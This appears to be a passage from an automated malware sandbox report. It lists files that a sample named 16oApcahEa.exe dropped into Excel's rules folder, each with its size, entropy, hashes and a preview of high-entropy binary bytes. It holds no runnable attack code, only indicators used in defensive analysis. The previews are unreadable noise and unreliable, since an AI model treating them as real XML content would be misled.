Preview:	<?xml...S..n..V.%.....-._.S..%.v.Du.......M....M\|.\ ..s2ZJ.5..V.}..~..L@p....r..:.......3bC...+......L9........J.Fb.8...9VV..l.I..Z]}.=...J."..6.Xg..@F.Z.-r.a._u..)....rT.}..........'....[..J.C..$+h\Y[(..9.........dg..S.1.6\|]..2`yD..I..c..#..`...m.p.#p.7a.`.:..Mi.Ysm...8.`...~C.c.UDR.....[{.....[..ui...{.6i.....1...._.n...wN.$..y2..g...@.v.b6p]...Q..[$........2..v~V..7...++.....&..DV.g.$.....H.I..W...........{...B..R.N.........T.Vn0.n.p.6...O.....By..?"7.;.'....@FA..Vq.R...s.6"...o}&.sny....Zb..q...\.p..ZK6B............b...........F.....r.J ........@.i.......>4.L....}.-...[$E.y.f82vp.i.?...[....$..b.q...:.5...0.w'..e.@.h.....M.R...h.0u.4..W.@{..f/V7.{q.KuU.R.F}e!.].a.m..iF&...W.oY.~........a....r.g..K.%.w..S;.9...I,{ trK.rKT.b..w;..".q .8}...j......J2..X.....Yp.^$...?XDF.....Y.m..XS'..........4.0`.T(.A..Bo]y....{.+..#.j.5..k..H.Y....C.t.&.h .P........e..8.O./.....dC....G&<M.a..Z"V7..._@..vb...?MY/YU8kn\..._<.{.\|9'.......;.O.-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.885426934324982
Encrypted:	false
SSDEEP:	48:mwr65Qq6z4BRzDVZYUXO/+iRRgjAu2thvwmPkkoJD:mKq68BRzDV6UOnfg8Jthvwm4
MD5:	76FC1601F7F2BB0D51B305813C751E53
SHA1:	56BB613B27C6D8ADAA27371A3277B1EA1DD178F3
SHA-256:	7B5BCD3B51843340E06DEB42F23581DFD27C508ABD502A7BF1E4926C25E9F80F
SHA-512:	E11A72F74EDD79D067851A8C43429908A9828CB520B468110ED5DBD6E1624AC3E310DA7EB3E859BA73BA92ADB971C64E3D13C892831FB1AED6CB1397F48F81F1
Malicious:	false
Preview:	<?xml.k.X...F.l.%S.......R...$...{n..\|{t.Zn...mC.."\...-xJ..G:..]0WG...l.h......&..V=8....Jz..C....nB.i.......o8..//BPe.ad........H...'............a.Y......./....+`A!Q...4...o.(.).....3w...a.Kn.K..xW..-....P..$H..8...+.S5.M.7f$.....B.....e.....a...{).1.V..0">.Y..1..(.,../...I[...H.^/)R.4.YY$k...3\|hQk,t..L.p..@.. ..\|R@.wh.XwO.~.=..M..gT...p...D.va.o%..Uri_b......vE.^!..Pi....._M\|.......0.<.l.x.Ue.jC...T....Ul.U.G$...J1......5.ir............4.!]P.......7.....&...nYg..6sVGpq....M:...U.!<9../.".W....[Q..x).-..o..z...M.x..`.....[... d..I.[..B{..h.2...SR...l.4.V.pc=l9X.....0i.Dv$g#{.<.....@.@...<....x.F.~W.....{P..}.....J..y.g....q......6...q... ...U......:..p...:4j..Jt.B[.o...:...+....5h:.....2m).@.......!.(...!...Y)).&y2!9.&>..%.~f$<V..N......^.b.y.e.. .g.gDA.....%K...n.....U..(...o.b.yV.pg.......H#..J. .+.+...SV.,..7^c.d....`....M..$..Nqk.........Z......{..r..1..g\.4h.p.........5.tW.!../.h4[n.#.....4.Y.4...c.J......]5.bi

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8848690769565035
Encrypted:	false
SSDEEP:	48:MfWWqww66/HodUwASmxBBdWLggXqvxKaXOw9Bs/64bZGDAmwuGJD:FH/I9axNAgfvxKa7sTbZc3Q
MD5:	8839E64C7EDF20743E2169096805397C
SHA1:	F75EC7F3039AD4274D651665BCC25511B4B5FAF1
SHA-256:	95DBEFB584C0778AC503F2D18255517A1387A4A05CFAA3D5C4EB91E8AECA8E45
SHA-512:	7C94DBDB8AAF4EB4B903247570D420E814740AF146A0B1F89214C97AFB8F443B5975802464797EAE4B5BE194727B498F1ECDA6F371873C2E8D8084E55DD0140A
Malicious:	false
Preview:	<?xmlJ3......#.~j..O...w!2&.K[y.N...r...x@..)7q..c= ..50b..+7.H..mbF../...}..w.Z......M=mo..#4. ,..m.t..ED...i.5Ot.I.A.}. J._..p...kz6.\|..#..!.P.K.j.....S...uP.7[.[...p.....i....z...8.v.0.N==..r...7RQcq~....k...G.:r....M..t%g........Ct~...m.hX.wn.J]...u8..l.......b9.f.L.u...:u..6.......C....h7.n.J..XXi)..r.....d\|S....%.e..PU.....X."z..N..O.....4...B.8..#.."..Q.>i..a...M&.!W...1..o..`......@j...b....u)b.....(...bS!L....S...1.L.OK].k.,.Ah.......&.r.39}.....}..H..\|..l[=}sV.."E.(7,N....e..X.PH....Q._..p..zo...pm.i.....z...L.~T..3.k..nsV...}.h..#...'(.u.J..-3........^..\|^.7.j...H...a0.}.Z....N..r.N...0.Z.5....'..v.$..U\|..f.U..gIHb..!.....?..;.M...UX/T.S...ZY.......b..!wS.Cnq......X.....5...8.....^......(...i..-U$B'_'[...o...M.7f.U..$..8-.^.d.&w;....;=..a....6."Ve.\.Zn..e...0..m.G...Uw&p......V.b...`.....ZjN.x.$.:`T[u.J.F..7..$1"0..3..8.....Q.h..........'.uD.V......^qs...5z....-..I..-...a.D.C.}I...g.s.^.M...C.FF..Eq....qu...P..ZKh.0RN.\|..v....>.&*B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.888170313807811
Encrypted:	false
SSDEEP:	48:ZHUalMh1XfpeOn+WO6L+Ifbtxff2AJ/PJD:ZHUalM0xEvbXf2U/J
MD5:	193D6F401CE242E3CDCE5B51B463D86B
SHA1:	EC506A71E8390BC4660573F535E67AB344417015
SHA-256:	58D4A6478DD536CE6CDA3DF57AD9CF2BE2F1A6CC2601EBF9273A1E610248DCD3
SHA-512:	AFE88CB43D596691963CA7A5FEB574307302BD8146656E02E0B099F5A27D1AA14540870E25A3360DBEECCB45B82DD8011F58B2D657FEAFA295FBBB3C5BDC0EC5
Malicious:	false
Preview:	<?xml.JZ.8k....\|!..0$.s..PX.Q....&..d..<...t.2M.o...>..O.....Q.AY.W.a.CFn.L#...E#Wm....`..~S.].....P..;P.q.....[8..n..8\.ps{...G.}..z.!A]3.L.5.'c..K....._.}._....(..Uf.).Q.J...U.ka....%...........g1..c..[.,.....l....=.w.p..........P.EUC...j.OC....u.A...S#K...3....&[...C.e..Cfr..3...,B.........U.!....@6....JpI...D{.{......ta........8..m.q..[........j...V.].%\|V..DKn.6L'\......b.0....\...F{....)G.Px.p.N..-.......`V.u...-.....3..... 3tz.B....QEMb...)....m,.:..W..$.-.7.u..;e..[l.\|....=..N....7yK~.@.ck..FV....'..........v..b.N.....dq.....v...Kx.J.T.......!..r,.z.[..j. H9..H.....lWr...g.:#......C.p.)...7.L[3.G.2m.bo...g.y8.Q.p1.2T...=a.i.`...r.Y......6j..4t......M..1E7..d.U08.......}j.h...P....E..vs2.\|G....D....= ..q.W..}Y..K.w."..9.v1.fZ)..t?.H...2..........Qb..L"S......7..w.Y.F.r.}..7...".E....:.5.Q_/A......R....;...e..(........_.' ..l[..bZ...>.....F..xM...[....+.f.VEd~<.....`.R......\..D....G......l.....*.H...g.[.sD.PLV.7O..@...r..c...(...L../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.875610202122599
Encrypted:	false
SSDEEP:	48:wsktotmrU13jF2EzGllfV4BEgpJWKk9I59kKLyIJD:vtmopj7ylRaBEgPWKk9QkKO6
MD5:	BD4FAA3231602F9322DB699931840FEF
SHA1:	848AA1C3E9914A71032DCF096C7C9DCE497148B4
SHA-256:	83C0BAA2DB586274701A307B6AE06CD4F8668B34AB22D5F0CF89DE613D81892C
SHA-512:	D341C6D481CFDEDF52CA60F962115446A337655AF66F68C561FBB04C9CF406D20522F5E385F90DE19F4E6B38B0D214E139E242B3E9C460318B03CE6B90CE986B
Malicious:	false
Preview:	<?xml.0i{H..U..('....%.g...X(D.=.v..d.x...AF..'..d..w.v.d/..9........oy...fF....Q.Zj.CV.....4...8......W...U.i.....d..6...C.....v`.B.qD,...1IwZ...k..s.\........@E^.>..I.D.x.s...t...c.y.FiR........f./\|.yua...!....C.KM..7.....t..]....=..OfZ.}Y..5.n.\%.,=g.lF.Mu..w...LB4.7>9e.}.....m....s;3..M!.e.\...>u.3_W...3.<.>....2q]cc.'S:5.~'.1..3+.......\.B.3..p..s...^I...a.`G.y...S........u.x}..^\|..I.4M.Ys.S.T..5}....Ty..T\|3...w.'/...5D......-.J.h......jJ...=....).A...].{.(.x.z`]....!...o....".f.......\d..QP}].c.k.....@..CU....9<.UJ...C.Z./....%F~Yn\../....p....@.........hM.....2..(...k.u.<Q....a+.>...."K.vG.....L.R3.xJ.A...Ve.(..#.....y^....J\....f.).n.7.W...(....[..0.L.,.]V<".Q..gN...^.....pH.}.H....VqY...d..,a6....pQ.2.~x."x.S.....z\..+.&..5.\|{.R..Ev]."6c....%.@m.Zj.....x.f.Z.?3..d.....&=..YV6M.".Q1..5xl........AiM.*..;.}g..^... .....Y^......\......6pZ....5.o.o{.......r.G.Bm.\..'y...2...L.o\|.\.....?.k.<..a..1....:.5..[M.#.X..S..K.&.ma

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8778560513702125
Encrypted:	false
SSDEEP:	48:T4585Yq8CM57cMVkXfxpYBX+GkUP/y25tXnb4IKeJD:W8WqI57YfxSjtP/y2/b4do
MD5:	3B1133CA87B3BDE2E1DEF518A559F7F7
SHA1:	0724947F63CF485EC6EE3E77439B64CFE968B3B7
SHA-256:	44081C95351A443C4DABD420502A57812E6D0279872DA2D72332AE126F6D8D92
SHA-512:	1327634AC5181A676EF0BF2D4D7C8DA4CE6BBD244316531481969A782B6C3578F55D38C4DFD65788507D263C7C70A3A06552253ADB642DA0481EFF0EB50F0167
Malicious:	false
Preview:	<?xmlP.....0s.E.<...Y\|.vk.??R....B...6....&..x.rq...!..+59y..6d.u...s.....=...d..;%.....LV...AQ..r.;.G.UB..y..(i.......s..\....j..m..]{.3...%.IE.9........P..!.kH.]..S...{g...]..zgEV.....R......}mF.i4..f.)..U.>@@C9......hX.K..A.......c..o7.ci`..;..K.r.z..U.i...S...../...@r..$....&...3.PZ9..E....-.<NJl.^..%...........=..j\|uOJwB_R2...d...k.F...K........].;4....,..\....6...3.4.[..L.....UL..wm...Y..+>!..~.>.L...C.n..U.&.....jC....v......$57.. ......\..0.AF...W..Z'.'\|..R..9.g.<t%Gb.!.9.6$^..B....+G&..-..5...yH.h..\|b.+P.....l.../.xp.5....Q@...7.~.i.u.{OR.n..X.)t...^..3m.....".7..D5\|..x...k0...+.f/....1X...i.....-3..K.ip..9...t.....P$%..W.9.*.[.u[1AB..X..d......ED.NY...C]...v@...a. .OAB...+y.">.g@c...i....~[e1...1.....B=w".y.F.nU...Js.Y...ts... ?.zAo.....&n..j.u.....I...J ..&..T..{...QW..i7X.P.t...)..g..._.OJ....._..0G...Y.+8k...<..rN..Q......B`..=..U.z..6.t..SZ.~Os(B.9........<[p.....@...o\A..<..23....p.?...qc..R...k.. ...U.r5T3.E?.>oR,.....c.-...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8862221307456855
Encrypted:	false
SSDEEP:	48:cdVvg0XvMN9JQGRzCT2xWIjNfZJ7s9VNJD:iJg4EJQGR82xWINfZJQ9Vn
MD5:	425DBD02F7FCB425B668EEFE59DAF6A4
SHA1:	7EF3637B1C9416995658344159D7906B25497F46
SHA-256:	17C0D5144BD727CB55CB235D1568CE75D6AB7ADDD2CEBDF5C17EE766444F387B
SHA-512:	7FD43E9155457C59E2ABB99C7C4349671C67C2AFCCF22014DDCA109A0EB26F2EC23A84A95E29BBD057DF529C34C674F031E35398E7B55F890FBE9DC17E6AE03B
Malicious:	false
Preview:	<?xml...f.o'...#...@..9.3\G.[3f...;.3.!.....S;$...7~.\|8....?k..j.] T.\|]B.}.Fe. ,P"..... ..~..?S..4:a..E.i.m.b[.D1~.p+..8....s"o..F.!....9FD.A.....4.9.Y.w[....d ..DfWe..X..2CM.N.g.p..x..BVL.....Y....v..G.)P..rp..........^j).....q............\..6....O.Eo>...r....O...].Rb8b.]w8Y&..y.q.0.^3...!P..A.... ......S....T.....u.^.7.. 4...0.....j.y.m..y..>.....L..7@.Qw......C.+B..G.a...3..g.p...'...].-.....M..U..D....q...=i...j..R...x.ZEp.E...=.l.. . ..T.C...d.....;.I...n.."..N.L.C.A#.)-..5.zxax....F....]..~.>.......p?QR.6..>...{o...:...YU..i.U..[n......>...<.$..2..H.Y..z..5P6.Y..V.v.r....]..-...D..\|5..oM..q.x.6.D........j-..a.._.e~.\|.Bp.P.)~Gs8..x>..h .O.!O"NB$w_..?.q...O.~.z.n......z..a6......C^.'vow.Peh..P.`..N.kqZ............:.LX.z7}.l,W`...-...\Z$.PL...^kL.x...+..VHO..5w.. .....(R.......vW._x..P....F.^...].v,.U..N..ee..../......<3.....g....w...Y....!....+\\*...N.d..8...G.....).XK.f...........u..x..%z.J. gH...\|^]..I..h...=.pt.;...7....N_.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.891585464252326
Encrypted:	false
SSDEEP:	48:V2dmOcXIdM/A7Ir89V/+3d3DC/gRiO6ASNta8dJD:yYIq/cI8/+h+4pvSNta83
MD5:	F51AA5CD3259EBE11733766DCCE5E6ED
SHA1:	8F126DBE7D80FB743FEF9D6D6362885111693CE2
SHA-256:	9BE330B208E44FF96579409BEFA18CF67A5C18D7674B29FC6F6750EC44C621B4
SHA-512:	6049214A5B83914434A541214A23F7326395BC3D6AF41C032FE17E77E69E8AF6BD8E4D0452CCEA698C89FDA1ACA0B9C78C63A9A1C5AAD4B2DFD3FEA60DD1C53A
Malicious:	false
Preview:	<?xmlb..#..>..............gf}.....E......k.+...j..z...yB....\|.....b3.#V.....X..=.Kn./@o....... _}...%...?;d:E.P.v.r..x.uP.O.\|..\..I...I......V.+....j.,..../.(..'...-0s..6.%M.~H.M.00.n'w..^z..n3Io.Q...r.I.U....Z......&..&.QG.z..L. .U....T.6...P.....M.6.......e{IOHK.._....."..."RC.......B......kN..-.P_'5.9.P)...{$./.. .........Y.l........Tj.7........cX..MnM....M)42.7.K...sE.v...........j.7....D..4...G3...4../I...M..g.(.......l.C.,...9..q..Us.#..B....X...'/......d......../....=Y...... \|..4m..$t..N.c.>0.z.Q.rGH.G.[...r".....^:X.GD.....E...Y..'..G..,U."...x.......14!O.....`Txb.dM..5..9..w..~.......=.....u"/..&W8.q..0x..DS..^...l.H.'\..P.0W~Ku..I....AO.e`pL..\|}.b...?..N.\'..H:sa..T.h.8.x.J....&..S..c....W>tE.....+.y2.u.p....J..1?xu.-<Q}...g#O:..n...J..r^.!.(.<.8...!..h.:..a..U`@=.-b.n.g.[..]t...=.2..E....-h2..!.Q...4^j^_..4....n.]/....2......4...OT.d.........e'qH...O.i..(.....X..\|..~.`b... K.@.....+.S;...E..!<...`.?.....x......*...eQ_..F...`..M...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.879844333301821
Encrypted:	false
SSDEEP:	48:fcSnOfbR175lrLTc9Bb6A3JjMVUQIJp1P+/xwZO9cJD:fc2Ut9LTY4VuJpYJIx
MD5:	10ECC9A682AD1A497B6EB879F74E60E7
SHA1:	F0DA1D876C215F15466D449573086E9DED166905
SHA-256:	9232E6F1ABE42C4886F51FD4D7060025A06D26C4900D6571D95E579BE356BFCB
SHA-512:	E49A8AAEED7E114B2F1B23C88D26470AF1F57BE048D954E9150A6C272056191A8C015E43A52E8FD21E121FCC9F555C1744B67ECDB3B8A2B1EDF52CB88419354D
Malicious:	false
Preview:	<?xml?%..Gg+;..N.4iv...F(#x.Z..%G.2"....M....._F..d..5K..z..IF5.E.F..Q. '<_..w...P.x..-J..I.!......}..\|V...zM..1...Qx)Y+..2.~...\..i....G.=B.5.....P..M.%..Uk.k...^...p.2....R.......sT%.{d..X]..GO.Su...9.#..07........c?...8.....tg..I@..0W....<.V<`U}.)...W.&...B..S...8.\|..0...Q........#.kaq.-T../..._Dnx.........}\"..O.........>.C{.h=.1g@F.B..Yd=,.J.M........x...VqN...kNVX......D....?...%...H>...W4....&..-_^..`..............,8..\|..=..r..........~.srd....6...p...).......`...i..d...q.5....?f?)w.xX.8N._H/0^.).5..S.-.m...snq.....b..G...e....X.....;..{/J.F..R;..V.......]S..Q..'^5,...F.32#.n....f..b.(........!c..?................Q.&s...=.....2...L..A&M.i.;$.a...HPT...=.Ch...,...q.....7S\.;.dx.+..V.G.~.........y.....J:..mB.r;n.g.-.!t...........F..$H.?..K[.!t `.....;#...}..R.u.1....^F".Z.....S.Q...'..&iy.C.......Dm...j...cQ..KH...jy>2..h...U}......`..'..3i`.B.=.g6K.G:..4....m....V2.ho.nw.v..<1J.S..........H.o0.bx.3.=.......Wf..X-....U...}]...x..`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.869076318007883
Encrypted:	false
SSDEEP:	24:u07f8eENARipZ3FkJEAq7dy3Tmlo65YmZAv/KdMXPDNVozOoiVkfv4BB8Bes3XVX:hAeEpp/AZ4tuCAviQLNVVoHztfJD
MD5:	B3BE59BC42B630EB2B5BCCD00DA33F1A
SHA1:	57647CF51A7A86C11FCE42D162F0AD42B54A5D47
SHA-256:	29EFB79C062D6515BB3D219F3F6EF90BAFAD3BADB5817FB10ABE6B27D5B30022
SHA-512:	5FB8149E4B5BFD485387B67DDBFEF8481F62773A409782FD4BBED9909310C4B431B16E6E1384842080B1E0792F3880F5EB77B7BE1FFF7E840D007E8F4055AE88
Malicious:	false
Preview:	<?xmlL.m@..T......m.!....,.9~..............'X...#1\|S.l...=C..<.I..GU.l......6.\|~^...O.@...z...).I...@V-..n.S......?I."....\|g.......K;.i.`....S..<yt4,sVK.pFFd.)k...qXDg...i....<.........Zd.0L#..R.Bv....].6....0...BR...0.p....(..J...t..../..j...N ."..._NZ..@..3.LMy..H4c.......&.........U..2.J....0..i.......=.7........1....H.M... ..K]b5...x....`YMs..U+>)..(c.J...&[..s..s........o6g.)..O.k..+..d...1j8..S.A..j}u.H.M.c.....RE....0.:.@!v.McKf.v...V...{..Bt<..U&=.....-.,....a.$bG..Lv....p.mS..iI...\..e.E.&J$.. .A.U`..E.s-F..Z..........<z.+Y.E4....p%........Z1Qk..y.....z.~..2.X.1.\wdv.F..!8....~.....3...........tC...j.U:.OL. .....\.u.Efg..iO....)...TJ.}.C.;.)/n..).....aYU%.J...M.C.1.-p.lQc.9t...;c......u.....94..[.. +.J.........k.>s.=.{Z......B...W..C.(u......o.(l.,6..Uy..o..&...jmai.......3N-fUp..+<!..Q.........j../.P..M0..M...}......7....f.n...ug.'..0..$.d8]......W\.....Ik....../p..\......)...,j..lab.MPt4.be.r........{..1[~..B..1.8..L...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.905759114970067
Encrypted:	false
SSDEEP:	48:69hEBW2n0+NNUYOJeuEC4JyQrSgEgH8zgSeZf6xCiPJD:6sn0kNXOA9C4JyQ+gEO2gHR6xCiJ
MD5:	1FAF9D53D124059DF67889816FB957F1
SHA1:	D2DC23DF5D0EE9EE297BBBAE6E526CC82D304AD8
SHA-256:	5661A48DC1A4F251E706E1DF0431B190567D17DC6DC918EE9BF8BC06C171ED05
SHA-512:	F3990667A7A47599163CF61424F52F8E3B00DDE6C4098E4714BFD64EFF29A5C6A95E006A93752EDD58AD8906C6C6A20BAB517D3A19AE0A206FCF043C912CDEC6
Malicious:	false
Preview:	<?xml...`.S...pt....V.[.../d......Q.J..4..K.0..p.JX.<.w.W^.....'.G@H.'..&.Y<.z$...~9.,.<Uj......aN.\..3!..L..yl...U.`...U..........A......."V.ZH.Co...Cs..G....j...e0)@......-...w......t.....A...^......o...0d......\|G./.<;uJ[.?`..Yo.x.G..:....}-.....rl.\|.............M.:.9....i.)..{..D...=.J.._Q."v...83uT.}.q.M..w.,g.i...Z.Y.......A..Z......<.V..+./W;bt.?....k.X.....#}.4.+I.`..UL."-f...s...U..$tH:.;\..F........J.P1.V.".Q.0.....:.i.. S..`{HYw)[....jB.A0t....e.y..`W_...5.Z.C^....E.,m&.5....Ii..!.^`m...i.ask....~.[\.$.kZaHD&.\...lr.......N.9..>vCm...5#/.#.]..7Sg....z.!.k.x........Dp......y.m.....i3.2RN.....wy..J.dU&1.y..........P..~.....9,ri..u.X..w...l........TFM..q.:....K.Z....8=9..L..o!../..2XG...v.Y....;O.(~.....(......c.m..b..<.q.E' .....g;..oZ....<...R.8..vwq...(.....YT.%/..,....R.=_\..>.ty..;.6..~v...~.j+........y..~PO.eXdv......~@S."N.........s..{..s{.,R...rp.p......=.`N7'....%-...B5h`'.nInYj.(;.N\.......O....B../l.@.d..:.R.....5.3.9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.881739222715302
Encrypted:	false
SSDEEP:	48:VTufkOTPNNLRTaeTH2qzO8Uz6iBlOFukTS1v1TNJD:KXNNLR2OuZ2hyv1Tn
MD5:	E594EE828D5E89927419B84FD148A340
SHA1:	03B5F189CD78699F0103BE4BEAB01270A35B1692
SHA-256:	CC7F4A13A4B30A7A7FF46F138A383B1E9BABE89B122198E61F9DBBAA9E527A26
SHA-512:	3B52E719A41ED8A4863A53B1B201F6AD4E1FC7F3C30DEAA52CEA05B5DB66F50949E88A6B4BEBE5078BB9205128EBEA9ACE81228F84403007C1039449119BC871
Malicious:	false
Preview:	<?xml.6...'...w{W9.[w..Z0.F.......h...hD)...e..y.s.T.0\..d.....c=.~.u..P........$6....V?.o..N,?%.G.{y.. A.aVF.....h....9.5.'<O)`i.....+..?\|=.I...m...):A..h.fwpV6.... ...\|B..A.^........"0.8>n.r.......\|1Kc.8@;.C..K.X...1.S...Hb.Ool.....{_..Kk.X=...9..>!.=.....Gs..qw.."..\|...o.L-..8.N)J....n...b.Z/..:.\.Cv:.WQ..M..9K..=..r.y....QH.l\|..r:....3...Z(.....v.W...~...*.T.....f...=.K...@E.H...1.A".......A.'...S.....hd..:..kH^F...cM.r:.w...%PT.( .%.....Ex...4..&.....d..............OE........A..iK.../H......p\.....bw)......c..Vh...h...a...[..}@.S...o..g.:9e.PW..{.:4.eQ....jh.'G.he...x..n..<.#;....u.J%.-.^V_..?..cH....4....i...o.y..U..N....y....o.T.,.R.J....D..y.).J..w.+y.....=..yxw.b(z.._.b.'.j..7..M.......n.6<v?N<........L..K..vp6e...M..F.....d..AE+.'.W..\..MA..F...#.....9..J[`e...........P(4=.-..n...!...`.!.,..8.j.Z..G.....p..\|8h...e.'G.:v.1..^!"...deeD.<K....S.......7....i..'S.N..KR....0`.V.,...1...a.71.O.lC,.#.....P........8Pq......c...r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.874292441861713
Encrypted:	false
SSDEEP:	48:Sqe8nVz3zweR/H/R1NUyu8FQvmHeCpJMCTJD:be8hU+HpjUKQ8pjl
MD5:	DE7EF1DD9772F7DA6E7553C9D2D62432
SHA1:	8441011BAC8D9EA3446FF9395AFCF700EE1226B7
SHA-256:	1EBCCA35EB522DFDB0B23280805AA597D3E4CB04549561F83ED2DA253F99B1DF
SHA-512:	3AEAF0C72482385392967C2FAA127FF1EA266A62B3999D71464527A94882E26329A4AA5E9F49F2C7C248D426270183542255DEB7325754F5E2B940876D01CD98
Malicious:	false
Preview:	<?xml"..'.6&...C\..V_T...(...0.._.....D..)JkI.4q.K...m.[.VA.R........>I....u{.RH.P/L}]I<..3o.a..0=.H.8.....Z...1..pP....7.=Wck...~C.t.T.k...A...I../Zo.F.0......i.B..U.......[.5......:;..E0..w`@.t8....G;.Z......"....f.........}.;.v.'.....^...Dr\8A.....I..t.Zzu[..Gg..8....rZ^....k.>,..T<.9.L.X.5.....fJdm.l.x....e.....E.l-z...}.u.s>.NH5fX.$Y...!.]._.]....j..\H.c...../I4.....N.S...R.l..V"...%.Xv.Y.\|2.q...PSG.........{.b.".y...s....h...\.P0......l.7...sa...9K../.=.w....HC.W.;!...xXCi.,R.%#G,.....m."..VYAO.F..-...B..#..H.....;....X.;..8..xu..m..t....b4..9`....5..V.Q>#+.).\|+dUu.p$:b...d...@L-...P.h.....W7..D.V."E..@F.<.d..]H..2.O-l.(.E=.b..}].A.L... .W.g...@..$8....r.l.)..(..8..c-.A.=&..p.,g.2G...1.p...>...2Q...:..bm.1.=.+d..f/L8...0DE.ix...te.Zd-./J...)N...#....In..............\_0.[.R.g.e^o/.d..i#..U......=.8..!..SQ6..g*......ke..3.V{.S@..U.-F.....W ~OH.....#.@;z.8W......}.K...(.......K.ew....}VJ5s..aTg..W..n..~..U.Z....T.Sh.zK..Q..F.I9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.875118486814368
Encrypted:	false
SSDEEP:	48:dIAX87rgDryHklg0i9V8tk7RB03CTQQqX3JD:O0orgiHklgzVJ7RB0kQQqXx
MD5:	898611A7912B2751650CC28E910538CA
SHA1:	6E240EA6FD46362C300D6EDD5DB80DEF818FD54A
SHA-256:	A62B27B96FE7E362D9CCBEB8E989CD511716195D65F113944D9D76F00E51AAC8
SHA-512:	010845C5B1CE23AB4A8FCF7F309CF9F29ADA80CCABDD98018E32E2976CFA60C1FA1BBD53FD7F1FF91A4103105C6299CE77194C55D1E217CE89FFFADF3CA346C1
Malicious:	false
Preview:	<?xml...._7..^.l.2.}.^.....@.#QjKd.\...Y$..M...).....e..]+,G.....j.n...b'IR{..g.P.`.._i...F.9O....<....6.i..\|.m..uU&.~..?.....b....}.Jc3.-$..^.5...fF~...lG).O.t..h.P.;...P.].........s...X.l..9\.@k.LX.....H5........3].......l.4m.[.......\|.],G.......8zQ.}..8d....l...M...\|.....[.\|..V.h\.....S......p......B."u .5...Q....5.PA...u.....i"....{.2.._.%)......._j..a..4'G.(..V....R'V...o....I..C)..[+v.$..Z...`....R.j......[P....H.IA.......Bhk{../..L..\|K2.....Aj.g0r".m.....Fj..+>1.#.s(....M.)."..e..\|.>.B.&...'.....7"8....\..u...\.T`.....5...l....V.....0.x..o{EB.s.......'d)...,......].+{.....O..Y.O.'_..d..=iT. .a.....E`.$HK./4..C`u..4}E.F...-.nL}Z._%.....=.<...OR...0...:>.B...)..\...V._..H..U6.L0.e.f.uh..b..\|...o.e@O.......^t$d4=.L.{..I..D..DFB...7..uv..5...: .%......`.b...y$..."y......w&.j.....J....G.N]..0.G4..jA.Y....NS...i.......{S...Q.xe.gg...D.M.LF...QB..u..Ox..S1..j;..~.5...'....k....p..B~.Ou.N.....)].]......9..jdq7...<R.c...,.D#@J..F\|...%.wo..Y9o.V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.877274846193799
Encrypted:	false
SSDEEP:	48:b/8Wvhi/tJ4+NBoc9hdG5AJR/AVD9hGJ7bAkJD:b0TtJ4+NBZ9hdXehGd1
MD5:	63B5DA6DE0F8E19FB6B42662CC0CE891
SHA1:	0CD3E8CD90070E14EBB910BA18768345A5271CA8
SHA-256:	B254E0CB46BED5972E0D9FC31D54B754947D936253600935F783AAB5A0D45F81
SHA-512:	C06431B3A8E6BE00F289116CC2092527ACE2D4E443F9B95C1EC5335EC2E0EA7A23795BE2A6FA0E257B5F1FE71919013E9D0E840F7ED4FDADC9100CE22E3ADE25
Malicious:	false
